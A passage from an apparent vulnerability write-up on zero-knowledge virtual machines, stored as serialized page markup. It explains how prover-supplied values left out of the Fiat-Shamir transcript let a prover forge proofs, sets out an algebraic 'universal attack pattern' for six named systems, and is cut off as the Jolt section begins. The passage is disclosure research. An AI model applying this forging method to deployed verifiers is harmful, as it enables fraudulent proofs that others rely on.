sum:",{"type":24,"tag":25,"props":120899,"children":120900},{},[120901],{"type":24,"tag":135,"props":120902,"children":120904},{"className":120903},[11705,11706],[120905],{"type":24,"tag":271,"props":120906,"children":120908},{"className":120907},[11711],[120909],{"type":24,"tag":271,"props":120910,"children":120912},{"className":120911,"ariaHidden":5670},[11716],[120913,121011,121262],{"type":24,"tag":271,"props":120914,"children":120916},{"className":120915},[11721],[120917,120921,120931,120936,120998,121002,121007],{"type":24,"tag":271,"props":120918,"children":120920},{"className":120919,"style":101250},[11726],[],{"type":24,"tag":271,"props":120922,"children":120924},{"className":120923},[11732,29],[120925],{"type":24,"tag":271,"props":120926,"children":120928},{"className":120927},[11732],[120929],{"type":29,"value":120930},"claimed",{"type":24,"tag":271,"props":120932,"children":120934},{"className":120933,"style":99837},[11732],[120935],{"type":29,"value":10818},{"type":24,"tag":271,"props":120937,"children":120939},{"className":120938},[11732],[120940,120949],{"type":24,"tag":271,"props":120941,"children":120943},{"className":120942},[11732,29],[120944],{"type":24,"tag":271,"props":120945,"children":120947},{"className":120946},[11732],[120948],{"type":29,"value":83422},{"type":24,"tag":271,"props":120950,"children":120952},{"className":120951},[11747],[120953],{"type":24,"tag":271,"props":120954,"children":120956},{"className":120955},[11752,29327],[120957,120987],{"type":24,"tag":271,"props":120958,"children":120960},{"className":120959},[11757],[120961,120982],{"type":24,"tag":271,"props":120962,"children":120964},{"className":120963,"style":100366},[11762],[120965],{"type":24,"tag":271,"props":120966,"children":120968},{"style":120967},"top:-2.55em;margin-right:0.05em;",[120969,120973],{"type":24,"tag":271,"props":120970,"children":120972},{"className":120971,"style":11772},[11771],[],{"type":24,"tag":271,"props":120974,"children":120976},{"className":120975},[11777,11778,11779,11780],[120977],{"type":24,"tag":271,"props":120978,"children":120980},{"className":120979},[11732,29273,11780],[120981],{"type":29,"value":11462},{"type":24,"tag":271,"props":120983,"children":120985},{"className":120984},[29430],[120986],{"type":29,"value":29433},{"type":24,"tag":271,"props":120988,"children":120990},{"className":120989},[11757],[120991],{"type":24,"tag":271,"props":120992,"children":120994},{"className":120993,"style":99920},[11762],[120995],{"type":24,"tag":271,"props":120996,"children":120997},{},[],{"type":24,"tag":271,"props":120999,"children":121001},{"className":121000,"style":11908},[11810],[],{"type":24,"tag":271,"props":121003,"children":121005},{"className":121004},[11913],[121006],{"type":29,"value":762},{"type":24,"tag":271,"props":121008,"children":121010},{"className":121009,"style":11908},[11810],[],{"type":24,"tag":271,"props":121012,"children":121014},{"className":121013},[11721],[121015,121020,121080,121084,121249,121253,121258],{"type":24,"tag":271,"props":121016,"children":121019},{"className":121017,"style":121018},[11726],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":24,"tag":271,"props":121021,"children":121023},{"className":121022},[29309],[121024,121029],{"type":24,"tag":271,"props":121025,"children":121027},{"className":121026,"style":29316},[29309,29314,29315],[121028],{"type":29,"value":115632},{"type":24,"tag":271,"props":121030,"children":121032},{"className":121031},[11747],[121033],{"type":24,"tag":271,"props":121034,"children":121036},{"className":121035},[11752,29327],[121037,121068],{"type":24,"tag":271,"props":121038,"children":121040},{"className":121039},[11757],[121041,121063],{"type":24,"tag":271,"props":121042,"children":121045},{"className":121043,"style":121044},[11762],"height:0.162em;",[121046],{"type":24,"tag":271,"props":121047,"children":121048},{"style":29340},[121049,121053],{"type":24,"tag":271,"props":121050,"children":121052},{"className":121051,"style":11772},[11771],[],{"type":24,"tag":271,"props":121054,"children":121056},{"className":121055},[11777,11778,11779,11780],[121057],{"type":24,"tag":271,"props":121058,"children":121061},{"className":121059,"style":121060},[11732,29273,11780],"margin-right:0.05724em;",[121062],{"type":29,"value":16370},{"type":24,"tag":271,"props":121064,"children":121066},{"className":121065},[29430],[121067],{"type":29,"value":29433},{"type":24,"tag":271,"props":121069,"children":121071},{"className":121070},[11757],[121072],{"type":24,"tag":271,"props":121073,"children":121076},{"className":121074,"style":121075},[11762],"height:0.4358em;",[121077],{"type":24,"tag":271,"props":121078,"children":121079},{},[],{"type":24,"tag":271,"props":121081,"children":121083},{"className":121082,"style":11849},[11810],[],{"type":24,"tag":271,"props":121085,"children":121087},{"className":121086},[11732],[121088,121092,121245],{"type":24,"tag":271,"props":121089,"children":121091},{"className":121090},[29402,120355],[],{"type":24,"tag":271,"props":121093,"children":121095},{"className":121094},[120360],[121096],{"type":24,"tag":271,"props":121097,"children":121099},{"className":121098},[11752,29327],[121100,121233],{"type":24,"tag":271,"props":121101,"children":121103},{"className":121102},[11757],[121104,121228],{"type":24,"tag":271,"props":121105,"children":121107},{"className":121106,"style":120373},[11762],[121108,121197,121208],{"type":24,"tag":271,"props":121109,"children":121110},{"style":120377},[121111,121115],{"type":24,"tag":271,"props":121112,"children":121114},{"className":121113,"style":119008},[11771],[],{"type":24,"tag":271,"props":121116,"children":121118},{"className":121117},[11777,11778,11779,11780],[121119],{"type":24,"tag":271,"props":121120,"children":121122},{"className":121121},[11732,11780],[121123,121128,121133],{"type":24,"tag":271,"props":121124,"children":121126},{"className":121125,"style":120394},[11732,29273,11780],[121127],{"type":29,"value":120397},{"type":24,"tag":271,"props":121129,"children":121131},{"className":121130},[11816,11780],[121132],{"type":29,"value":11791},{"type":24,"tag":271,"props":121134,"children":121136},{"className":121135},[11732,11780],[121137,121146],{"type":24,"tag":271,"props":121138,"children":121140},{"className":121139},[11732,29,11780],[121141],{"type":24,"tag":271,"props":121142,"children":121144},{"className":121143},[11732,11780],[121145],{"type":29,"value":68794},{"type":24,"tag":271,"props":121147,"children":121149},{"className":121148},[11747],[121150],{"type":24,"tag":271,"props":121151,"children":121153},{"className":121152},[11752,29327],[121154,121185],{"type":24,"tag":271,"props":121155,"children":121157},{"className":121156},[11757],[121158,121180],{"type":24,"tag":271,"props":121159,"children":121162},{"className":121160,"style":121161},[11762],"height:0.3281em;",[121163],{"type":24,"tag":271,"props":121164,"children":121166},{"style":121165},"top:-2.357em;margin-right:0.0714em;",[121167,121171],{"type":24,"tag":271,"props":121168,"children":121170},{"className":121169,"style":115697},[11771],[],{"type":24,"tag":271,"props":121172,"children":121174},{"className":121173},[11777,115702,115703,11780],[121175],{"type":24,"tag":271,"props":121176,"children":121178},{"className":121177,"style":121060},[11732,29273,11780],[121179],{"type":29,"value":16370},{"type":24,"tag":271,"props":121181,"children":121183},{"className":121182},[29430],[121184],{"type":29,"value":29433},{"type":24,"tag":271,"props":121186,"children":121188},{"className":121187},[11757],[121189],{"type":24,"tag":271,"props":121190,"children":121193},{"className":121191,"style":121192},[11762],"height:0.2819em;",[121194],{"type":24,"tag":271,"props":121195,"children":121196},{},[],{"type":24,"tag":271,"props":121198,"children":121199},{"style":120410},[121200,121204],{"type":24,"tag":271,"props":121201,"children":121203},{"className":121202,"style":119008},[11771],[],{"type":24,"tag":271,"props":121205,"children":121207},{"className":121206,"style":120420},[120419],[],{"type":24,"tag":271,"props":121209,"children":121210},{"style":120424},[121211,121215],{"type":24,"tag":271,"props":121212,"children":121214},{"className":121213,"style":119008},[11771],[],{"type":24,"tag":271,"props":121216,"children":121218},{"className":121217},[11777,11778,11779,11780],[121219],{"type":24,"tag":271,"props":121220,"children":121222},{"className":121221},[11732,11780],[121223],{"type":24,"tag":271,"props":121224,"children":121226},{"className":121225},[11732,11780],[121227],{"type":29,"value":156},{"type":24,"tag":271,"props":121229,"children":121231},{"className":121230},[29430],[121232],{"type":29,"value":29433},{"type":24,"tag":271,"props":121234,"children":121236},{"className":121235},[11757],[121237],{"type":24,"tag":271,"props":121238,"children":121241},{"className":121239,"style":121240},[11762],"height:0.5423em;",[121242],{"type":24,"tag":271,"props":121243,"children":121244},{},[],{"type":24,"tag":271,"props":121246,"children":121248},{"className":121247},[29424,120355],[],{"type":24,"tag":271,"props":121250,"children":121252},{"className":121251,"style":11811},[11810],[],{"type":24,"tag":271,"props":121254,"children":121256},{"className":121255},[11816],[121257],{"type":29,"value":11791},{"type":24,"tag":271,"props":121259,"children":121261},{"className":121260,"style":11811},[11810],[],{"type":24,"tag":271,"props":121263,"children":121265},{"className":121264},[11721],[121266,121271,121329,121333],{"type":24,"tag":271,"props":121267,"children":121270},{"className":121268,"style":121269},[11726],"height:1.296em;vertical-align:-0.4509em;",[],{"type":24,"tag":271,"props":121272,"children":121274},{"className":121273},[29309],[121275,121280],{"type":24,"tag":271,"props":121276,"children":121278},{"className":121277,"style":29316},[29309,29314,29315],[121279],{"type":29,"value":115632},{"type":24,"tag":271,"props":121281,"children":121283},{"className":121282},[11747],[121284],{"type":24,"tag":271,"props":121285,"children":121287},{"className":121286},[11752,29327],[121288,121317],{"type":24,"tag":271,"props":121289,"children":121291},{"className":121290},[11757],[121292,121312],{"type":24,"tag":271,"props":121293,"children":121295},{"className":121294,"style":120509},[11762],[121296],{"type":24,"tag":271,"props":121297,"children":121298},{"style":29340},[121299,121303],{"type":24,"tag":271,"props":121300,"children":121302},{"className":121301,"style":11772},[11771],[],{"type":24,"tag":271,"props":121304,"children":121306},{"className":121305},[11777,11778,11779,11780],[121307],{"type":24,"tag":271,"props":121308,"children":121310},{"className":121309,"style":101266},[11732,29273,11780],[121311],{"type":29,"value":95474},{"type":24,"tag":271,"props":121313,"children":121315},{"className":121314},[29430],[121316],{"type":29,"value":29433},{"type":24,"tag":271,"props":121318,"children":121320},{"className":121319},[11757],[121321],{"type":24,"tag":271,"props":121322,"children":121325},{"className":121323,"style":121324},[11762],"height:0.2997em;",[121326],{"type":24,"tag":271,"props":121327,"children":121328},{},[],{"type":24,"tag":271,"props":121330,"children":121332},{"className":121331,"style":11849},[11810],[],{"type":24,"tag":271,"props":121334,"children":121336},{"className":121335},[11732],[121337,121341,121494],{"type":24,"tag":271,"props":121338,"children":121340},{"className":121339},[29402,120355],[],{"type":24,"tag":271,"props":121342,"children":121344},{"className":121343},[120360],[121345],{"type":24,"tag":271,"props":121346,"children":121348},{"className":121347},[11752,29327],[121349,121482],{"type":24,"tag":271,"props":121350,"children":121352},{"className":121351},[11757],[121353,121477],{"type":24,"tag":271,"props":121354,"children":121356},{"className":121355,"style":120373},[11762],[121357,121446,121457],{"type":24,"tag":271,"props":121358,"children":121359},{"style":120377},[121360,121364],{"type":24,"tag":271,"props":121361,"children":121363},{"className":121362,"style":119008},[11771],[],{"type":24,"tag":271,"props":121365,"children":121367},{"className":121366},[11777,11778,11779,11780],[121368],{"type":24,"tag":271,"props":121369,"children":121371},{"className":121370},[11732,11780],[121372,121377,121382],{"type":24,"tag":271,"props":121373,"children":121375},{"className":121374,"style":120394},[11732,29273,11780],[121376],{"type":29,"value":120397},{"type":24,"tag":271,"props":121378,"children":121380},{"className":121379},[11816,11780],[121381],{"type":29,"value":11791},{"type":24,"tag":271,"props":121383,"children":121385},{"className":121384},[11732,11780],[121386,121396],{"type":24,"tag":271,"props":121387,"children":121389},{"className":121388},[11732,29,11780],[121390],{"type":24,"tag":271,"props":121391,"children":121393},{"className":121392},[11732,11780],[121394],{"type":29,"value":121395},"consume",{"type":24,"tag":271,"props":121397,"children":121399},{"className":121398},[11747],[121400],{"type":24,"tag":271,"props":121401,"children":121403},{"className":121402},[11752,29327],[121404,121434],{"type":24,"tag":271,"props":121405,"children":121407},{"className":121406},[11757],[121408,121429],{"type":24,"tag":271,"props":121409,"children":121411},{"className":121410,"style":119169},[11762],[121412],{"type":24,"tag":271,"props":121413,"children":121415},{"style":121414},"top:-2.3488em;margin-right:0.0714em;",[121416,121420],{"type":24,"tag":271,"props":121417,"children":121419},{"className":121418,"style":115697},[11771],[],{"type":24,"tag":271,"props":121421,"children":121423},{"className":121422},[11777,115702,115703,11780],[121424],{"type":24,"tag":271,"props":121425,"children":121427},{"className":121426,"style":101266},[11732,29273,11780],[121428],{"type":29,"value":95474},{"type":24,"tag":271,"props":121430,"children":121432},{"className":121431},[29430],[121433],{"type":29,"value":29433},{"type":24,"tag":271,"props":121435,"children":121437},{"className":121436},[11757],[121438],{"type":24,"tag":271,"props":121439,"children":121442},{"className":121440,"style":121441},[11762],"height:0.1512em;",[121443],{"type":24,"tag":271,"props":121444,"children":121445},{},[],{"type":24,"tag":271,"props":121447,"children":121448},{"style":120410},[121449,121453],{"type":24,"tag":271,"props":121450,"children":121452},{"className":121451,"style":119008},[11771],[],{"type":24,"tag":271,"props":121454,"children":121456},{"className":121455,"style":120420},[120419],[],{"type":24,"tag":271,"props":121458,"children":121459},{"style":120424},[121460,121464],{"type":24,"tag":271,"props":121461,"children":121463},{"className":121462,"style":119008},[11771],[],{"type":24,"tag":271,"props":121465,"children":121467},{"className":121466},[11777,11778,11779,11780],[121468],{"type":24,"tag":271,"props":121469,"children":121471},{"className":121470},[11732,11780],[121472],{"type":24,"tag":271,"props":121473,"children":121475},{"className":121474},[11732,11780],[121476],{"type":29,"value":156},{"type":24,"tag":271,"props":121478,"children":121480},{"className":121479},[29430],[121481],{"type":29,"value":29433},{"type":24,"tag":271,"props":121483,"children":121485},{"className":121484},[11757],[121486],{"type":24,"tag":271,"props":121487,"children":121490},{"className":121488,"style":121489},[11762],"height:0.4509em;",[121491],{"type":24,"tag":271,"props":121492,"children":121493},{},[],{"type":24,"tag":271,"props":121495,"children":121497},{"className":121496},[29424,120355],[],{"type":24,"tag":25,"props":121499,"children":121500},{},[121501,121503,121685],{"type":29,"value":121502},"The global check: ",{"type":24,"tag":135,"props":121504,"children":121506},{"className":121505},[11705,11706],[121507],{"type":24,"tag":271,"props":121508,"children":121510},{"className":121509},[11711],[121511],{"type":24,"tag":271,"props":121512,"children":121514},{"className":121513,"ariaHidden":5670},[11716],[121515,121672],{"type":24,"tag":271,"props":121516,"children":121518},{"className":121517},[11721],[121519,121523,121580,121584,121593,121598,121659,121663,121668],{"type":24,"tag":271,"props":121520,"children":121522},{"className":121521,"style":99779},[11726],[],{"type":24,"tag":271,"props":121524,"children":121526},{"className":121525},[29309],[121527,121532],{"type":24,"tag":271,"props":121528,"children":121530},{"className":121529,"style":29316},[29309,29314,29315],[121531],{"type":29,"value":115632},{"type":24,"tag":271,"props":121533,"children":121535},{"className":121534},[11747],[121536],{"type":24,"tag":271,"props":121537,"children":121539},{"className":121538},[11752,29327],[121540,121569],{"type":24,"tag":271,"props":121541,"children":121543},{"className":121542},[11757],[121544,121564],{"type":24,"tag":271,"props":121545,"children":121547},{"className":121546,"style":121044},[11762],[121548],{"type":24,"tag":271,"props":121549,"children":121550},{"style":29340},[121551,121555],{"type":24,"tag":271,"props":121552,"children":121554},{"className":121553,"style":11772},[11771],[],{"type":24,"tag":271,"props":121556,"children":121558},{"className":121557},[11777,11778,11779,11780],[121559],{"type":24,"tag":271,"props":121560,"children":121562},{"className":121561},[11732,29273,11780],[121563],{"type":29,"value":11462},{"type":24,"tag":271,"props":121565,"children":121567},{"className":121566},[29430],[121568],{"type":29,"value":29433},{"type":24,"tag":271,"props":121570,"children":121572},{"className":121571},[11757],[121573],{"type":24,"tag":271,"props":121574,"children":121576},{"className":121575,"style":121324},[11762],[121577],{"type":24,"tag":271,"props":121578,"children":121579},{},[],{"type":24,"tag":271,"props":121581,"children":121583},{"className":121582,"style":11849},[11810],[],{"type":24,"tag":271,"props":121585,"children":121587},{"className":121586},[11732,29],[121588],{"type":24,"tag":271,"props":121589,"children":121591},{"className":121590},[11732],[121592],{"type":29,"value":120930},{"type":24,"tag":271,"props":121594,"children":121596},{"className":121595,"style":99837},[11732],[121597],{"type":29,"value":10818},{"type":24,"tag":271,"props":121599,"children":121601},{"className":121600},[11732],[121602,121611],{"type":24,"tag":271,"props":121603,"children":121605},{"className":121604},[11732,29],[121606],{"type":24,"tag":271,"props":121607,"children":121609},{"className":121608},[11732],[121610],{"type":29,"value":83422},{"type":24,"tag":271,"props":121612,"children":121614},{"className":121613},[11747],[121615],{"type":24,"tag":271,"props":121616,"children":121618},{"className":121617},[11752,29327],[121619,121648],{"type":24,"tag":271,"props":121620,"children":121622},{"className":121621},[11757],[121623,121643],{"type":24,"tag":271,"props":121624,"children":121626},{"className":121625,"style":100366},[11762],[121627],{"type":24,"tag":271,"props":121628,"children":121629},{"style":120967},[121630,121634],{"type":24,"tag":271,"props":121631,"children":121633},{"className":121632,"style":11772},[11771],[],{"type":24,"tag":271,"props":121635,"children":121637},{"className":121636},[11777,11778,11779,11780],[121638],{"type":24,"tag":271,"props":121639,"children":121641},{"className":121640},[11732,29273,11780],[121642],{"type":29,"value":11462},{"type":24,"tag":271,"props":121644,"children":121646},{"className":121645},[29430],[121647],{"type":29,"value":29433},{"type":24,"tag":271,"props":121649,"children":121651},{"className":121650},[11757],[121652],{"type":24,"tag":271,"props":121653,"children":121655},{"className":121654,"style":99920},[11762],[121656],{"type":24,"tag":271,"props":121657,"children":121658},{},[],{"type":24,"tag":271,"props":121660,"children":121662},{"className":121661,"style":11908},[11810],[],{"type":24,"tag":271,"props":121664,"children":121666},{"className":121665},[11913],[121667],{"type":29,"value":762},{"type":24,"tag":271,"props":121669,"children":121671},{"className":121670,"style":11908},[11810],[],{"type":24,"tag":271,"props":121673,"children":121675},{"className":121674},[11721],[121676,121680],{"type":24,"tag":271,"props":121677,"children":121679},{"className":121678,"style":100868},[11726],[],{"type":24,"tag":271,"props":121681,"children":121683},{"className":121682},[11732],[121684],{"type":29,"value":4121},{"type":29,"value":41},{"type":24,"tag":25,"props":121687,"children":121688},{},[121689,121694,121696,121702],{"type":24,"tag":213,"props":121690,"children":121691},{},[121692],{"type":29,"value":121693},"Why this is vulnerable:",{"type":29,"value":121695}," The ",{"type":24,"tag":135,"props":121697,"children":121699},{"className":121698},[],[121700],{"type":29,"value":121701},"claimed_sum",{"type":29,"value":121703}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":24,"tag":26485,"props":121705,"children":121706},{},[],{"type":24,"tag":62,"props":121708,"children":121710},{"id":121709},"the-universal-attack-pattern",[121711],{"type":29,"value":121712},"The Universal Attack Pattern",{"type":24,"tag":25,"props":121714,"children":121715},{},[121716],{"type":29,"value":121717},"Now we can describe the attack pattern that works on all six systems:",{"type":24,"tag":25,"props":121719,"children":121720},{},[121721],{"type":24,"tag":74,"props":121722,"children":121725},{"alt":121723,"src":121724},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":24,"tag":25,"props":121727,"children":121728},{},[121729,121731,121756],{"type":29,"value":121730},"When a value ",{"type":24,"tag":135,"props":121732,"children":121734},{"className":121733},[11705,11706],[121735],{"type":24,"tag":271,"props":121736,"children":121738},{"className":121737},[11711],[121739],{"type":24,"tag":271,"props":121740,"children":121742},{"className":121741,"ariaHidden":5670},[11716],[121743],{"type":24,"tag":271,"props":121744,"children":121746},{"className":121745},[11721],[121747,121751],{"type":24,"tag":271,"props":121748,"children":121750},{"className":121749,"style":29268},[11726],[],{"type":24,"tag":271,"props":121752,"children":121754},{"className":121753,"style":115035},[11732,29273],[121755],{"type":29,"value":115359},{"type":29,"value":121757}," isn't transcript-bound:",{"type":24,"tag":3834,"props":121759,"children":121760},{},[121761,121792,121869,122014],{"type":24,"tag":101,"props":121762,"children":121763},{},[121764,121766,121791],{"type":29,"value":121765},"Challenges are fixed (independent of ",{"type":24,"tag":135,"props":121767,"children":121769},{"className":121768},[11705,11706],[121770],{"type":24,"tag":271,"props":121771,"children":121773},{"className":121772},[11711],[121774],{"type":24,"tag":271,"props":121775,"children":121777},{"className":121776,"ariaHidden":5670},[11716],[121778],{"type":24,"tag":271,"props":121779,"children":121781},{"className":121780},[11721],[121782,121786],{"type":24,"tag":271,"props":121783,"children":121785},{"className":121784,"style":29268},[11726],[],{"type":24,"tag":271,"props":121787,"children":121789},{"className":121788,"style":115035},[11732,29273],[121790],{"type":29,"value":115359},{"type":29,"value":2693},{"type":24,"tag":101,"props":121793,"children":121794},{},[121795,121797],{"type":29,"value":121796},"The verification equation has form: ",{"type":24,"tag":135,"props":121798,"children":121800},{"className":121799},[11705,11706],[121801],{"type":24,"tag":271,"props":121802,"children":121804},{"className":121803},[11711],[121805],{"type":24,"tag":271,"props":121806,"children":121808},{"className":121807,"ariaHidden":5670},[11716],[121809,121850],{"type":24,"tag":271,"props":121810,"children":121812},{"className":121811},[11721],[121813,121817,121822,121827,121832,121837,121841,121846],{"type":24,"tag":271,"props":121814,"children":121816},{"className":121815,"style":11831},[11726],[],{"type":24,"tag":271,"props":121818,"children":121820},{"className":121819,"style":102191},[11732,29273],[121821],{"type":29,"value":791},{"type":24,"tag":271,"props":121823,"children":121825},{"className":121824},[29402],[121826],{"type":29,"value":606},{"type":24,"tag":271,"props":121828,"children":121830},{"className":121829,"style":115035},[11732,29273],[121831],{"type":29,"value":115359},{"type":24,"tag":271,"props":121833,"children":121835},{"className":121834},[29424],[121836],{"type":29,"value":2693},{"type":24,"tag":271,"props":121838,"children":121840},{"className":121839,"style":11908},[11810],[],{"type":24,"tag":271,"props":121842,"children":121844},{"className":121843},[11913],[121845],{"type":29,"value":762},{"type":24,"tag":271,"props":121847,"children":121849},{"className":121848,"style":11908},[11810],[],{"type":24,"tag":271,"props":121851,"children":121853},{"className":121852},[11721],[121854,121859],{"type":24,"tag":271,"props":121855,"children":121858},{"className":121856,"style":121857},[11726],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":24,"tag":271,"props":121860,"children":121862},{"className":121861},[11732,29],[121863],{"type":24,"tag":271,"props":121864,"children":121866},{"className":121865},[11732],[121867],{"type":29,"value":121868},"target",{"type":24,"tag":101,"props":121870,"children":121871},{},[121872,121873,121899,121901],{"type":29,"value":15196},{"type":24,"tag":135,"props":121874,"children":121876},{"className":121875},[11705,11706],[121877],{"type":24,"tag":271,"props":121878,"children":121880},{"className":121879},[11711],[121881],{"type":24,"tag":271,"props":121882,"children":121884},{"className":121883,"ariaHidden":5670},[11716],[121885],{"type":24,"tag":271,"props":121886,"children":121888},{"className":121887},[11721],[121889,121894],{"type":24,"tag":271,"props":121890,"children":121893},{"className":121891,"style":121892},[11726],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":24,"tag":271,"props":121895,"children":121897},{"className":121896,"style":102191},[11732,29273],[121898],{"type":29,"value":791},{"type":29,"value":121900}," is linear: ",{"type":24,"tag":135,"props":121902,"children":121904},{"className":121903},[11705,11706],[121905],{"type":24,"tag":271,"props":121906,"children":121908},{"className":121907},[11711],[121909],{"type":24,"tag":271,"props":121910,"children":121912},{"className":121911,"ariaHidden":5670},[11716],[121913,121942,121969,121997],{"type":24,"tag":271,"props":121914,"children":121916},{"className":121915},[11721],[121917,121922,121929,121933,121938],{"type":24,"tag":271,"props":121918,"children":121921},{"className":121919,"style":121920},[11726],"height:0.4445em;",[],{"type":24,"tag":271,"props":121923,"children":121926},{"className":121924,"style":121925},[11732,29273],"margin-right:0.0037em;",[121927],{"type":29,"value":121928},"α",{"type":24,"tag":271,"props":121930,"children":121932},{"className":121931,"style":11811},[11810],[],{"type":24,"tag":271,"props":121934,"children":121936},{"className":121935},[11816],[121937],{"type":29,"value":118099},{"type":24,"tag":271,"props":121939,"children":121941},{"className":121940,"style":11811},[11810],[],{"type":24,"tag":271,"props":121943,"children":121945},{"className":121944},[11721],[121946,121951,121956,121960,121965],{"type":24,"tag":271,"props":121947,"children":121950},{"className":121948,"style":121949},[11726],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":24,"tag":271,"props":121952,"children":121954},{"className":121953,"style":115035},[11732,29273],[121955],{"type":29,"value":115359},{"type":24,"tag":271,"props":121957,"children":121959},{"className":121958,"style":11811},[11810],[],{"type":24,"tag":271,"props":121961,"children":121963},{"className":121962},[11816],[121964],{"type":29,"value":1012},{"type":24,"tag":271,"props":121966,"children":121968},{"className":121967,"style":11811},[11810],[],{"type":24,"tag":271,"props":121970,"children":121972},{"className":121971},[11721],[121973,121977,121984,121988,121993],{"type":24,"tag":271,"props":121974,"children":121976},{"className":121975,"style":121892},[11726],[],{"type":24,"tag":271,"props":121978,"children":121981},{"className":121979,"style":121980},[11732,29273],"margin-right:0.05278em;",[121982],{"type":29,"value":121983},"β",{"type":24,"tag":271,"props":121985,"children":121987},{"className":121986,"style":11908},[11810],[],{"type":24,"tag":271,"props":121989,"children":121991},{"className":121990},[11913],[121992],{"type":29,"value":762},{"type":24,"tag":271,"props":121994,"children":121996},{"className":121995,"style":11908},[11810],[],{"type":24,"tag":271,"props":121998,"children":122000},{"className":121999},[11721],[122001,122005],{"type":24,"tag":271,"props":122002,"children":122004},{"className":122003,"style":121857},[11726],[],{"type":24,"tag":271,"props":122006,"children":122008},{"className":122007},[11732,29],[122009],{"type":24,"tag":271,"props":122010,"children":122012},{"className":122011},[11732],[122013],{"type":29,"value":121868},{"type":24,"tag":101,"props":122015,"children":122016},{},[122017,122019],{"type":29,"value":122018},"Solve: ",{"type":24,"tag":135,"props":122020,"children":122022},{"className":122021},[11705,11706],[122023],{"type":24,"tag":271,"props":122024,"children":122026},{"className":122025},[11711],[122027],{"type":24,"tag":271,"props":122028,"children":122030},{"className":122029,"ariaHidden":5670},[11716],[122031,122057,122092],{"type":24,"tag":271,"props":122032,"children":122034},{"className":122033},[11721],[122035,122039,122044,122048,122053],{"type":24,"tag":271,"props":122036,"children":122038},{"className":122037,"style":29268},[11726],[],{"type":24,"tag":271,"props":122040,"children":122042},{"className":122041,"style":115035},[11732,29273],[122043],{"type":29,"value":115359},{"type":24,"tag":271,"props":122045,"children":122047},{"className":122046,"style":11908},[11810],[],{"type":24,"tag":271,"props":122049,"children":122051},{"className":122050},[11913],[122052],{"type":29,"value":762},{"type":24,"tag":271,"props":122054,"children":122056},{"className":122055,"style":11908},[11810],[],{"type":24,"tag":271,"props":122058,"children":122060},{"className":122059},[11721],[122061,122065,122070,122079,122083,122088],{"type":24,"tag":271,"props":122062,"children":122064},{"className":122063,"style":11831},[11726],[],{"type":24,"tag":271,"props":122066,"children":122068},{"className":122067},[29402],[122069],{"type":29,"value":606},{"type":24,"tag":271,"props":122071,"children":122073},{"className":122072},[11732,29],[122074],{"type":24,"tag":271,"props":122075,"children":122077},{"className":122076},[11732],[122078],{"type":29,"value":121868},{"type":24,"tag":271,"props":122080,"children":122082},{"className":122081,"style":11811},[11810],[],{"type":24,"tag":271,"props":122084,"children":122086},{"className":122085},[11816],[122087],{"type":29,"value":11791},{"type":24,"tag":271,"props":122089,"children":122091},{"className":122090,"style":11811},[11810],[],{"type":24,"tag":271,"props":122093,"children":122095},{"className":122094},[11721],[122096,122100,122105,122110,122115],{"type":24,"tag":271,"props":122097,"children":122099},{"className":122098,"style":11831},[11726],[],{"type":24,"tag":271,"props":122101,"children":122103},{"className":122102,"style":121980},[11732,29273],[122104],{"type":29,"value":121983},{"type":24,"tag":271,"props":122106,"children":122108},{"className":122107},[29424],[122109],{"type":29,"value":2693},{"type":24,"tag":271,"props":122111,"children":122113},{"className":122112},[11732],[122114],{"type":29,"value":12298},{"type":24,"tag":271,"props":122116,"children":122118},{"className":122117,"style":121925},[11732,29273],[122119],{"type":29,"value":121928},{"type":24,"tag":25,"props":122121,"children":122122},{},[122123],{"type":29,"value":122124},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":24,"tag":25,"props":122126,"children":122127},{},[122128,122130,122208],{"type":29,"value":122129},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":24,"tag":135,"props":122131,"children":122133},{"className":122132},[11705,11706],[122134],{"type":24,"tag":271,"props":122135,"children":122137},{"className":122136},[11711],[122138],{"type":24,"tag":271,"props":122139,"children":122141},{"className":122140,"ariaHidden":5670},[11716],[122142],{"type":24,"tag":271,"props":122143,"children":122145},{"className":122144},[11721],[122146,122151,122157,122162,122203],{"type":24,"tag":271,"props":122147,"children":122150},{"className":122148,"style":122149},[11726],"height:1.0641em;vertical-align:-0.25em;",[],{"type":24,"tag":271,"props":122152,"children":122154},{"className":122153,"style":99837},[11732,29273],[122155],{"type":29,"value":122156},"O",{"type":24,"tag":271,"props":122158,"children":122160},{"className":122159},[29402],[122161],{"type":29,"value":606},{"type":24,"tag":271,"props":122163,"children":122165},{"className":122164},[11732],[122166,122171],{"type":24,"tag":271,"props":122167,"children":122169},{"className":122168},[11732,29273],[122170],{"type":29,"value":6054},{"type":24,"tag":271,"props":122172,"children":122174},{"className":122173},[11747],[122175],{"type":24,"tag":271,"props":122176,"children":122178},{"className":122177},[11752],[122179],{"type":24,"tag":271,"props":122180,"children":122182},{"className":122181},[11757],[122183],{"type":24,"tag":271,"props":122184,"children":122186},{"className":122185,"style":11727},[11762],[122187],{"type":24,"tag":271,"props":122188,"children":122189},{"style":11766},[122190,122194],{"type":24,"tag":271,"props":122191,"children":122193},{"className":122192,"style":11772},[11771],[],{"type":24,"tag":271,"props":122195,"children":122197},{"className":122196},[11777,11778,11779,11780],[122198],{"type":24,"tag":271,"props":122199,"children":122201},{"className":122200},[11732,11780],[122202],{"type":29,"value":4525},{"type":24,"tag":271,"props":122204,"children":122206},{"className":122205},[29424],[122207],{"type":29,"value":2693},{"type":29,"value":122209}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":24,"tag":26485,"props":122211,"children":122212},{},[],{"type":24,"tag":62,"props":122214,"children":122216},{"id":122215},"the-six-broken-systems",[122217],{"type":29,"value":122218},"The Six Broken Systems",{"type":24,"tag":25,"props":122220,"children":122221},{},[122222],{"type":24,"tag":74,"props":122223,"children":122226},{"alt":122224,"src":122225},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":24,"tag":25,"props":122228,"children":122229},{},[122230],{"type":29,"value":122231},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent 